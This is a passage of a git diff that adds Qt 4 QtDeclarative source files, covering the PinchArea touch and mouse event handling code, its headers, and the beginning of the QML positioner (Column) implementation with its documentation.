+ Q_D(QDeclarativePinchArea);
+ d->stealMouse = false;
+ if (!d->absorb) {
+ QDeclarativeItem::mouseReleaseEvent(event);
+ } else {
+ QGraphicsScene *s = scene();
+ if (s && s->mouseGrabberItem() == this)
+ ungrabMouse();
+ setKeepMouseGrab(false);
+ }
+}
+
+bool QDeclarativePinchArea::sceneEvent(QEvent *event)
+{
+ bool rv = QDeclarativeItem::sceneEvent(event);
+ if (event->type() == QEvent::UngrabMouse) {
+ setKeepMouseGrab(false);
+ }
+ return rv;
+}
+
+bool QDeclarativePinchArea::sendMouseEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativePinchArea);
+ QGraphicsSceneMouseEvent mouseEvent(event->type());
+ QRectF myRect = mapToScene(QRectF(0, 0, width(), height())).boundingRect();
+
+ QGraphicsScene *s = scene();
+ QDeclarativeItem *grabber = s ? qobject_cast<QDeclarativeItem*>(s->mouseGrabberItem()) : 0;
+ bool stealThisEvent = d->stealMouse;
+ if ((stealThisEvent || myRect.contains(event->scenePos().toPoint())) && (!grabber || !grabber->keepMouseGrab())) {
+ mouseEvent.setAccepted(false);
+ for (int i = 0x1; i <= 0x10; i <<= 1) {
+ if (event->buttons() & i) {
+ Qt::MouseButton button = Qt::MouseButton(i);
+ mouseEvent.setButtonDownPos(button, mapFromScene(event->buttonDownPos(button)));
+ }
+ }
+ mouseEvent.setScenePos(event->scenePos());
+ mouseEvent.setLastScenePos(event->lastScenePos());
+ mouseEvent.setPos(mapFromScene(event->scenePos()));
+ mouseEvent.setLastPos(mapFromScene(event->lastScenePos()));
+
+ switch(mouseEvent.type()) {
+ case QEvent::GraphicsSceneMouseMove:
+ mouseMoveEvent(&mouseEvent);
+ break;
+ case QEvent::GraphicsSceneMousePress:
+ mousePressEvent(&mouseEvent);
+ break;
+ case QEvent::GraphicsSceneMouseRelease:
+ mouseReleaseEvent(&mouseEvent);
+ break;
+ default:
+ break;
+ }
+ grabber = qobject_cast<QDeclarativeItem*>(s->mouseGrabberItem());
+ if (grabber && stealThisEvent && !grabber->keepMouseGrab() && grabber != this)
+ grabMouse();
+
+ return stealThisEvent;
+ }
+ if (mouseEvent.type() == QEvent::GraphicsSceneMouseRelease) {
+ d->stealMouse = false;
+ if (s && s->mouseGrabberItem() == this)
+ ungrabMouse();
+ setKeepMouseGrab(false);
+ }
+ return false;
+}
+
+bool QDeclarativePinchArea::sceneEventFilter(QGraphicsItem *i, QEvent *e)
+{
+ Q_D(QDeclarativePinchArea);
+ if (!d->absorb || !isVisible())
+ return QDeclarativeItem::sceneEventFilter(i, e);
+ switch (e->type()) {
+ case QEvent::GraphicsSceneMousePress:
+ case QEvent::GraphicsSceneMouseMove:
+ case QEvent::GraphicsSceneMouseRelease:
+ return sendMouseEvent(static_cast<QGraphicsSceneMouseEvent *>(e));
+ break;
+ case QEvent::TouchBegin:
+ case QEvent::TouchUpdate: {
+ QTouchEvent *touch = static_cast<QTouchEvent*>(e);
+ d->touchPoints.clear();
+ for (int i = 0; i < touch->touchPoints().count(); ++i)
+ if (!(touch->touchPoints().at(i).state() & Qt::TouchPointReleased))
+ d->touchPoints << touch->touchPoints().at(i);
+ updatePinch();
+ }
+ return d->inPinch;
+ case QEvent::TouchEnd:
+ d->touchPoints.clear();
+ updatePinch();
+ break;
+ default:
+ break;
+ }
+
+ return QDeclarativeItem::sceneEventFilter(i, e);
+}
+
+void QDeclarativePinchArea::geometryChanged(const QRectF &newGeometry,
+ const QRectF &oldGeometry)
+{
+ QDeclarativeItem::geometryChanged(newGeometry, oldGeometry);
+}
+
+QVariant QDeclarativePinchArea::itemChange(GraphicsItemChange change,
+ const QVariant &value)
+{
+ return QDeclarativeItem::itemChange(change, value);
+}
+
+QDeclarativePinch *QDeclarativePinchArea::pinch()
+{
+ Q_D(QDeclarativePinchArea);
+ if (!d->pinch)
+ d->pinch = new QDeclarativePinch;
+ return d->pinch;
+}
+
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativepincharea_p.h b/src/declarative/graphicsitems/qdeclarativepincharea_p.h
new file mode 100644
index 00000000..07c2d1c9
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativepincharea_p.h
@@ -0,0 +1,313 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPINCHAREA_H
+#define QDECLARATIVEPINCHAREA_H
+
+#include <qdeclarativeitem.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class Q_AUTOTEST_EXPORT QDeclarativePinch : public QObject
+{
+ Q_OBJECT
+
+ Q_ENUMS(Axis)
+ Q_PROPERTY(QGraphicsObject *target READ target WRITE setTarget RESET resetTarget)
+ Q_PROPERTY(qreal minimumScale READ minimumScale WRITE setMinimumScale NOTIFY minimumScaleChanged)
+ Q_PROPERTY(qreal maximumScale READ maximumScale WRITE setMaximumScale NOTIFY maximumScaleChanged)
+ Q_PROPERTY(qreal minimumRotation READ minimumRotation WRITE setMinimumRotation NOTIFY minimumRotationChanged)
+ Q_PROPERTY(qreal maximumRotation READ maximumRotation WRITE setMaximumRotation NOTIFY maximumRotationChanged)
+ Q_PROPERTY(Axis dragAxis READ axis WRITE setAxis NOTIFY dragAxisChanged)
+ Q_PROPERTY(qreal minimumX READ xmin WRITE setXmin NOTIFY minimumXChanged)
+ Q_PROPERTY(qreal maximumX READ xmax WRITE setXmax NOTIFY maximumXChanged)
+ Q_PROPERTY(qreal minimumY READ ymin WRITE setYmin NOTIFY minimumYChanged)
+ Q_PROPERTY(qreal maximumY READ ymax WRITE setYmax NOTIFY maximumYChanged)
+ Q_PROPERTY(bool active READ active NOTIFY activeChanged)
+
+public:
+ QDeclarativePinch();
+
+ QGraphicsObject *target() const { return m_target; }
+ void setTarget(QGraphicsObject *target) {
+ if (target == m_target)
+ return;
+ m_target = target;
+ emit targetChanged();
+ }
+ void resetTarget() {
+ if (!m_target)
+ return;
+ m_target = 0;
+ emit targetChanged();
+ }
+
+ qreal minimumScale() const { return m_minScale; }
+ void setMinimumScale(qreal s) {
+ if (s == m_minScale)
+ return;
+ m_minScale = s;
+ emit minimumScaleChanged();
+ }
+ qreal maximumScale() const { return m_maxScale; }
+ void setMaximumScale(qreal s) {
+ if (s == m_maxScale)
+ return;
+ m_maxScale = s;
+ emit maximumScaleChanged();
+ }
+
+ qreal minimumRotation() const { return m_minRotation; }
+ void setMinimumRotation(qreal r) {
+ if (r == m_minRotation)
+ return;
+ m_minRotation = r;
+ emit minimumRotationChanged();
+ }
+ qreal maximumRotation() const { return m_maxRotation; }
+ void setMaximumRotation(qreal r) {
+ if (r == m_maxRotation)
+ return;
+ m_maxRotation = r;
+ emit maximumRotationChanged();
+ }
+
+ enum Axis { NoDrag=0x00, XAxis=0x01, YAxis=0x02, XandYAxis=0x03 };
+ Axis axis() const { return m_axis; }
+ void setAxis(Axis a) {
+ if (a == m_axis)
+ return;
+ m_axis = a;
+ emit dragAxisChanged();
+ }
+
+ qreal xmin() const { return m_xmin; }
+ void setXmin(qreal x) {
+ if (x == m_xmin)
+ return;
+ m_xmin = x;
+ emit minimumXChanged();
+ }
+ qreal xmax() const { return m_xmax; }
+ void setXmax(qreal x) {
+ if (x == m_xmax)
+ return;
+ m_xmax = x;
+ emit maximumXChanged();
+ }
+ qreal ymin() const { return m_ymin; }
+ void setYmin(qreal y) {
+ if (y == m_ymin)
+ return;
+ m_ymin = y;
+ emit minimumYChanged();
+ }
+ qreal ymax() const { return m_ymax; }
+ void setYmax(qreal y) {
+ if (y == m_ymax)
+ return;
+ m_ymax = y;
+ emit maximumYChanged();
+ }
+
+ bool active() const { return m_active; }
+ void setActive(bool a) {
+ if (a == m_active)
+ return;
+ m_active = a;
+ emit activeChanged();
+ }
+
+signals:
+ void targetChanged();
+ void minimumScaleChanged();
+ void maximumScaleChanged();
+ void minimumRotationChanged();
+ void maximumRotationChanged();
+ void dragAxisChanged();
+ void minimumXChanged();
+ void maximumXChanged();
+ void minimumYChanged();
+ void maximumYChanged();
+ void activeChanged();
+
+private:
+ QGraphicsObject *m_target;
+ qreal m_minScale;
+ qreal m_maxScale;
+ qreal m_minRotation;
+ qreal m_maxRotation;
+ Axis m_axis;
+ qreal m_xmin;
+ qreal m_xmax;
+ qreal m_ymin;
+ qreal m_ymax;
+ bool m_active;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativePinchEvent : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(QPointF center READ center)
+ Q_PROPERTY(QPointF startCenter READ startCenter)
+ Q_PROPERTY(QPointF previousCenter READ previousCenter)
+ Q_PROPERTY(qreal scale READ scale)
+ Q_PROPERTY(qreal previousScale READ previousScale)
+ Q_PROPERTY(qreal angle READ angle)
+ Q_PROPERTY(qreal previousAngle READ previousAngle)
+ Q_PROPERTY(qreal rotation READ rotation)
+ Q_PROPERTY(QPointF point1 READ point1)
+ Q_PROPERTY(QPointF startPoint1 READ startPoint1)
+ Q_PROPERTY(QPointF point2 READ point2)
+ Q_PROPERTY(QPointF startPoint2 READ startPoint2)
+ Q_PROPERTY(int pointCount READ pointCount)
+ Q_PROPERTY(bool accepted READ accepted WRITE setAccepted)
+
+public:
+ QDeclarativePinchEvent(QPointF c, qreal s, qreal a, qreal r)
+ : QObject(), m_center(c), m_scale(s), m_angle(a), m_rotation(r)
+ , m_pointCount(0), m_accepted(true) {}
+
+ QPointF center() const { return m_center; }
+ QPointF startCenter() const { return m_startCenter; }
+ void setStartCenter(QPointF c) { m_startCenter = c; }
+ QPointF previousCenter() const { return m_lastCenter; }
+ void setPreviousCenter(QPointF c) { m_lastCenter = c; }
+ qreal scale() const { return m_scale; }
+ qreal previousScale() const { return m_lastScale; }
+ void setPreviousScale(qreal s) { m_lastScale = s; }
+ qreal angle() const { return m_angle; }
+ qreal previousAngle() const { return m_lastAngle; }
+ void setPreviousAngle(qreal a) { m_lastAngle = a; }
+ qreal rotation() const { return m_rotation; }
+ QPointF point1() const { return m_point1; }
+ void setPoint1(QPointF p) { m_point1 = p; }
+ QPointF startPoint1() const { return m_startPoint1; }
+ void setStartPoint1(QPointF p) { m_startPoint1 = p; }
+ QPointF point2() const { return m_point2; }
+ void setPoint2(QPointF p) { m_point2 = p; }
+ QPointF startPoint2() const { return m_startPoint2; }
+ void setStartPoint2(QPointF p) { m_startPoint2 = p; }
+ int pointCount() const { return m_pointCount; }
+ void setPointCount(int count) { m_pointCount = count; }
+
+ bool accepted() const { return m_accepted; }
+ void setAccepted(bool a) { m_accepted = a; }
+
+private:
+ QPointF m_center;
+ QPointF m_startCenter;
+ QPointF m_lastCenter;
+ qreal m_scale;
+ qreal m_lastScale;
+ qreal m_angle;
+ qreal m_lastAngle;
+ qreal m_rotation;
+ QPointF m_point1;
+ QPointF m_point2;
+ QPointF m_startPoint1;
+ QPointF m_startPoint2;
+ int m_pointCount;
+ bool m_accepted;
+};
+
+
+class QDeclarativeMouseEvent;
+class QDeclarativePinchAreaPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativePinchArea : public QDeclarativeItem
+{
+ Q_OBJECT
+
+ Q_PROPERTY(bool enabled READ isEnabled WRITE setEnabled NOTIFY enabledChanged)
+ Q_PROPERTY(QDeclarativePinch *pinch READ pinch CONSTANT)
+
+public:
+ QDeclarativePinchArea(QDeclarativeItem *parent=0);
+ ~QDeclarativePinchArea();
+
+ bool isEnabled() const;
+ void setEnabled(bool);
+
+ QDeclarativePinch *pinch();
+
+Q_SIGNALS:
+ void enabledChanged();
+ void pinchStarted(QDeclarativePinchEvent *pinch);
+ void pinchUpdated(QDeclarativePinchEvent *pinch);
+ void pinchFinished(QDeclarativePinchEvent *pinch);
+
+protected:
+ void mousePressEvent(QGraphicsSceneMouseEvent *event);
+ void mouseReleaseEvent(QGraphicsSceneMouseEvent *event);
+ void mouseMoveEvent(QGraphicsSceneMouseEvent *event);
+ bool sceneEvent(QEvent *);
+ bool sendMouseEvent(QGraphicsSceneMouseEvent *event);
+ bool sceneEventFilter(QGraphicsItem *i, QEvent *e);
+ bool event(QEvent *);
+
+ virtual void geometryChanged(const QRectF &newGeometry,
+ const QRectF &oldGeometry);
+ virtual QVariant itemChange(GraphicsItemChange change, const QVariant& value);
+
+private:
+ void updatePinch();
+ void handlePress();
+ void handleRelease();
+
+private:
+ Q_DISABLE_COPY(QDeclarativePinchArea)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativePinchArea)
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativePinch)
+QML_DECLARE_TYPE(QDeclarativePinchEvent)
+QML_DECLARE_TYPE(QDeclarativePinchArea)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEPINCHAREA_H
diff --git a/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h b/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h
new file mode 100644
index 00000000..b6993e98
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h
@@ -0,0 +1,115 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPINCHAREA_P_H
+#define QDECLARATIVEPINCHAREA_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <qdatetime.h>
+#include <qbasictimer.h>
+#include <qevent.h>
+#include <qgraphicssceneevent.h>
+#include "qdeclarativeitem_p.h"
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativePinch;
+class QDeclarativePinchAreaPrivate : public QDeclarativeItemPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativePinchArea)
+public:
+ QDeclarativePinchAreaPrivate()
+ : absorb(true), stealMouse(false), inPinch(false)
+ , pinchRejected(false), pinchActivated(false)
+ , pinch(0), pinchStartDist(0), pinchStartScale(1.0)
+ , pinchLastScale(1.0), pinchStartRotation(0.0), pinchStartAngle(0.0)
+ , pinchLastAngle(0.0), pinchRotation(0.0)
+ {
+ }
+
+ ~QDeclarativePinchAreaPrivate();
+
+ void init()
+ {
+ Q_Q(QDeclarativePinchArea);
+ q->setAcceptedMouseButtons(Qt::LeftButton);
+ q->setAcceptTouchEvents(true);
+ q->setFiltersChildEvents(true);
+ }
+
+ bool absorb : 1;
+ bool stealMouse : 1;
+ bool inPinch : 1;
+ bool pinchRejected : 1;
+ bool pinchActivated : 1;
+ QDeclarativePinch *pinch;
+ QPointF sceneStartPoint1;
+ QPointF sceneStartPoint2;
+ QPointF lastPoint1;
+ QPointF lastPoint2;
+ qreal pinchStartDist;
+ qreal pinchStartScale;
+ qreal pinchLastScale;
+ qreal pinchStartRotation;
+ qreal pinchStartAngle;
+ qreal pinchLastAngle;
+ qreal pinchRotation;
+ QPointF sceneStartCenter;
+ QPointF pinchStartCenter;
+ QPointF sceneLastCenter;
+ QPointF pinchStartPos;
+ QList<QTouchEvent::TouchPoint> touchPoints;
+ int id1;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEPINCHAREA_P_H
diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp
new file mode 100644
index 00000000..cc28fb10
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp
@@ -0,0 +1,1371 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativepositioners_p.h"
+#include "private/qdeclarativepositioners_p_p.h"
+
+#include <qdeclarative.h>
+#include <qdeclarativestate_p.h>
+#include <qdeclarativestategroup_p.h>
+#include <qdeclarativestateoperations_p.h>
+#include <qdeclarativeinfo.h>
+#include <QtCore/qmath.h>
+
+#include <QDebug>
+#include <QCoreApplication>
+
+QT_BEGIN_NAMESPACE
+
+static const QDeclarativeItemPrivate::ChangeTypes watchedChanges
+ = QDeclarativeItemPrivate::Geometry
+ | QDeclarativeItemPrivate::SiblingOrder
+ | QDeclarativeItemPrivate::Visibility
+ | QDeclarativeItemPrivate::Opacity
+ | QDeclarativeItemPrivate::Destroyed;
+
+void QDeclarativeBasePositionerPrivate::watchChanges(QGraphicsObject *other)
+{
+ if (QGraphicsItemPrivate::get(other)->isDeclarativeItem) {
+ QDeclarativeItemPrivate *otherPrivate = static_cast<QDeclarativeItemPrivate*>(QGraphicsItemPrivate::get(other));
+ otherPrivate->addItemChangeListener(this, watchedChanges);
+ } else {
+ Q_Q(QDeclarativeBasePositioner);
+ QObject::connect(other, SIGNAL(widthChanged()), q, SLOT(graphicsWidgetGeometryChanged()));
+ QObject::connect(other, SIGNAL(heightChanged()), q, SLOT(graphicsWidgetGeometryChanged()));
+ QObject::connect(other, SIGNAL(opacityChanged()), q, SLOT(graphicsWidgetGeometryChanged()));
+ QObject::connect(other, SIGNAL(visibleChanged()), q, SLOT(graphicsWidgetGeometryChanged()));
+ }
+}
+
+void QDeclarativeBasePositionerPrivate::unwatchChanges(QGraphicsObject* other)
+{
+ if (QGraphicsItemPrivate::get(other)->isDeclarativeItem) {
+ QDeclarativeItemPrivate *otherPrivate = static_cast<QDeclarativeItemPrivate*>(QGraphicsItemPrivate::get(other));
+ otherPrivate->removeItemChangeListener(this, watchedChanges);
+ } else {
+ Q_Q(QDeclarativeBasePositioner);
+ QObject::disconnect(other, SIGNAL(widthChanged()), q, SLOT(graphicsWidgetGeometryChanged()));
+ QObject::disconnect(other, SIGNAL(heightChanged()), q, SLOT(graphicsWidgetGeometryChanged()));
+ QObject::disconnect(other, SIGNAL(opacityChanged()), q, SLOT(graphicsWidgetGeometryChanged()));
+ QObject::disconnect(other, SIGNAL(visibleChanged()), q, SLOT(graphicsWidgetGeometryChanged()));
+ }
+}
+
+void QDeclarativeBasePositioner::graphicsWidgetGeometryChanged()
+{
+ prePositioning();
+}
+
+/*!
+ \internal
+ \class QDeclarativeBasePositioner
+ \brief The QDeclarativeBasePositioner class provides a base for QDeclarativeGraphics layouts.
+
+ To create a QDeclarativeGraphics Positioner, simply subclass QDeclarativeBasePositioner and implement
+ doLayout(), which is automatically called when the layout might need
+ updating. In doLayout() use the setX and setY functions from QDeclarativeBasePositioner, and the
+ base class will apply the positions along with the appropriate transitions. The items to
+ position are provided in order as the protected member positionedItems.
+
+ You also need to set a PositionerType, to declare whether you are positioning the x, y or both
+ for the child items. Depending on the chosen type, only x or y changes will be applied.
+
+ Note that the subclass is responsible for adding the spacing in between items.
+*/
+QDeclarativeBasePositioner::QDeclarativeBasePositioner(PositionerType at, QDeclarativeItem *parent)
+ : QDeclarativeImplicitSizeItem(*(new QDeclarativeBasePositionerPrivate), parent)
+{
+ Q_D(QDeclarativeBasePositioner);
+ d->init(at);
+}
+
+QDeclarativeBasePositioner::QDeclarativeBasePositioner(QDeclarativeBasePositionerPrivate &dd, PositionerType at, QDeclarativeItem *parent)
+ : QDeclarativeImplicitSizeItem(dd, parent)
+{
+ Q_D(QDeclarativeBasePositioner);
+ d->init(at);
+}
+
+QDeclarativeBasePositioner::~QDeclarativeBasePositioner()
+{
+ Q_D(QDeclarativeBasePositioner);
+ for (int i = 0; i < positionedItems.count(); ++i)
+ d->unwatchChanges(positionedItems.at(i).item);
+ positionedItems.clear();
+}
+
+int QDeclarativeBasePositioner::spacing() const
+{
+ Q_D(const QDeclarativeBasePositioner);
+ return d->spacing;
+}
+
+void QDeclarativeBasePositioner::setSpacing(int s)
+{
+ Q_D(QDeclarativeBasePositioner);
+ if (s==d->spacing)
+ return;
+ d->spacing = s;
+ prePositioning();
+ emit spacingChanged();
+}
+
+QDeclarativeTransition *QDeclarativeBasePositioner::move() const
+{
+ Q_D(const QDeclarativeBasePositioner);
+ return d->moveTransition;
+}
+
+void QDeclarativeBasePositioner::setMove(QDeclarativeTransition *mt)
+{
+ Q_D(QDeclarativeBasePositioner);
+ if (mt == d->moveTransition)
+ return;
+ d->moveTransition = mt;
+ emit moveChanged();
+}
+
+QDeclarativeTransition *QDeclarativeBasePositioner::add() const
+{
+ Q_D(const QDeclarativeBasePositioner);
+ return d->addTransition;
+}
+
+void QDeclarativeBasePositioner::setAdd(QDeclarativeTransition *add)
+{
+ Q_D(QDeclarativeBasePositioner);
+ if (add == d->addTransition)
+ return;
+
+ d->addTransition = add;
+ emit addChanged();
+}
+
+void QDeclarativeBasePositioner::componentComplete()
+{
+ Q_D(QDeclarativeBasePositioner);
+ QDeclarativeItem::componentComplete();
+ positionedItems.reserve(d->QGraphicsItemPrivate::children.count());
+ prePositioning();
+ reportConflictingAnchors();
+}
+
+QVariant QDeclarativeBasePositioner::itemChange(GraphicsItemChange change,
+ const QVariant &value)
+{
+ Q_D(QDeclarativeBasePositioner);
+ if (change == ItemChildAddedChange){
+ QGraphicsItem* item = value.value<QGraphicsItem*>();
+ QGraphicsObject* child = 0;
+ if(item)
+ child = item->toGraphicsObject();
+ if (child)
+ prePositioning();
+ } else if (change == ItemChildRemovedChange) {
+ QGraphicsItem* item = value.value<QGraphicsItem*>();
+ QGraphicsObject* child = 0;
+ if(item)
+ child = item->toGraphicsObject();
+ if (child) {
+ QDeclarativeBasePositioner::PositionedItem posItem(child);
+ int idx = positionedItems.find(posItem);
+ if (idx >= 0) {
+ d->unwatchChanges(child);
+ positionedItems.remove(idx);
+ }
+ prePositioning();
+ }
+ }
+ return QDeclarativeItem::itemChange(change, value);
+}
+
+void QDeclarativeBasePositioner::prePositioning()
+{
+ Q_D(QDeclarativeBasePositioner);
+ if (!isComponentComplete())
+ return;
+
+ if (d->doingPositioning)
+ return;
+
+ d->queuedPositioning = false;
+ d->doingPositioning = true;
+ //Need to order children by creation order modified by stacking order
+ QList<QGraphicsItem *> children = d->QGraphicsItemPrivate::children;
+ qSort(children.begin(), children.end(), d->insertionOrder);
+
+ QPODVector<PositionedItem,8> oldItems;
+ positionedItems.copyAndClear(oldItems);
+ for (int ii = 0; ii < children.count(); ++ii) {
+ QGraphicsObject *child = children.at(ii)->toGraphicsObject();
+ if (!child)
+ continue;
+ QGraphicsItemPrivate *childPrivate = static_cast<QGraphicsItemPrivate*>(QGraphicsItemPrivate::get(child));
+ PositionedItem *item = 0;
+ PositionedItem posItem(child);
+ int wIdx = oldItems.find(posItem);
+ if (wIdx < 0) {
+ d->watchChanges(child);
+ positionedItems.append(posItem);
+ item = &positionedItems[positionedItems.count()-1];
+ item->isNew = true;
+ if (child->opacity() <= 0.0 || childPrivate->explicitlyHidden || !childPrivate->width() || !childPrivate->height())
+ item->isVisible = false;
+ } else {
+ item = &oldItems[wIdx];
+ // Items are only omitted from positioning if they are explicitly hidden
+ // i.e. their positioning is not affected if an ancestor is hidden.
+ if (child->opacity() <= 0.0 || childPrivate->explicitlyHidden || !childPrivate->width() || !childPrivate->height()) {
+ item->isVisible = false;
+ } else if (!item->isVisible) {
+ item->isVisible = true;
+ item->isNew = true;
+ } else {
+ item->isNew = false;
+ }
+ positionedItems.append(*item);
+ }
+ }
+ QSizeF contentSize;
+ doPositioning(&contentSize);
+ if(d->addTransition || d->moveTransition)
+ finishApplyTransitions();
+ d->doingPositioning = false;
+ //Set implicit size to the size of its children
+ setImplicitHeight(contentSize.height());
+ setImplicitWidth(contentSize.width());
+}
+
+void QDeclarativeBasePositioner::positionX(int x, const PositionedItem &target)
+{
+ Q_D(QDeclarativeBasePositioner);
+ if(d->type == Horizontal || d->type == Both){
+ if (target.isNew) {
+ if (!d->addTransition)
+ target.item->setX(x);
+ else
+ d->addActions << QDeclarativeAction(target.item, QLatin1String("x"), QVariant(x));
+ } else if (x != target.item->x()) {
+ if (!d->moveTransition)
+ target.item->setX(x);
+ else
+ d->moveActions << QDeclarativeAction(target.item, QLatin1String("x"), QVariant(x));
+ }
+ }
+}
+
+void QDeclarativeBasePositioner::positionY(int y, const PositionedItem &target)
+{
+ Q_D(QDeclarativeBasePositioner);
+ if(d->type == Vertical || d->type == Both){
+ if (target.isNew) {
+ if (!d->addTransition)
+ target.item->setY(y);
+ else
+ d->addActions << QDeclarativeAction(target.item, QLatin1String("y"), QVariant(y));
+ } else if (y != target.item->y()) {
+ if (!d->moveTransition)
+ target.item->setY(y);
+ else
+ d->moveActions << QDeclarativeAction(target.item, QLatin1String("y"), QVariant(y));
+ }
+ }
+}
+
+void QDeclarativeBasePositioner::finishApplyTransitions()
+{
+ Q_D(QDeclarativeBasePositioner);
+ // Note that if a transition is not set the transition manager will
+ // apply the changes directly, in the case add/move aren't set
+ d->addTransitionManager.transition(d->addActions, d->addTransition);
+ d->moveTransitionManager.transition(d->moveActions, d->moveTransition);
+ d->addActions.clear();
+ d->moveActions.clear();
+}
+
+/*!
+ \qmlclass Column QDeclarativeColumn
+ \ingroup qml-positioning-elements
+ \since 4.7
+ \brief The Column item arranges its children vertically.
+ \inherits Item
+
+ The Column item positions its child items so that they are vertically
+ aligned and not overlapping.
+
+ Spacing between items can be added using the \l spacing property.
+ Transitions can be used for cases where items managed by a Column are
+ added or moved. These are stored in the \l add and \l move properties
+ respectively.
+
+ See \l{Using QML Positioner and Repeater Items} for more details about this item and other
+ related items.
+
+ \section1 Example Usage
+
+ The following example positions differently shaped rectangles using a Column
+ item.
+
+ \image verticalpositioner_example.png
+
+ \snippet doc/src/snippets/declarative/column/vertical-positioner.qml document
+
+ \section1 Using Transitions
+
+ Transitions can be used to animate items that are added to, moved within,
+ or removed from a Column item. The \l add and \l move properties can be set to
+ the transitions that will be applied when items are added to, removed from,
+ or re-positioned within a Column item.
+
+ The use of transitions with positioners is described in more detail in the
+ \l{Using QML Positioner and Repeater Items#Using Transitions}{Using QML
+ Positioner and Repeater Items} document.
+
+ \image verticalpositioner_transition.gif
+
+ \qml
+ Column {
+ spacing: 2
+ add: Transition {
+ // Define an animation for adding a new item...
+ }
+ move: Transition {
+ // Define an animation for moving items within the column...
+ }
+ // ...
+ }
+ \endqml
+
+ \section1 Limitations
+
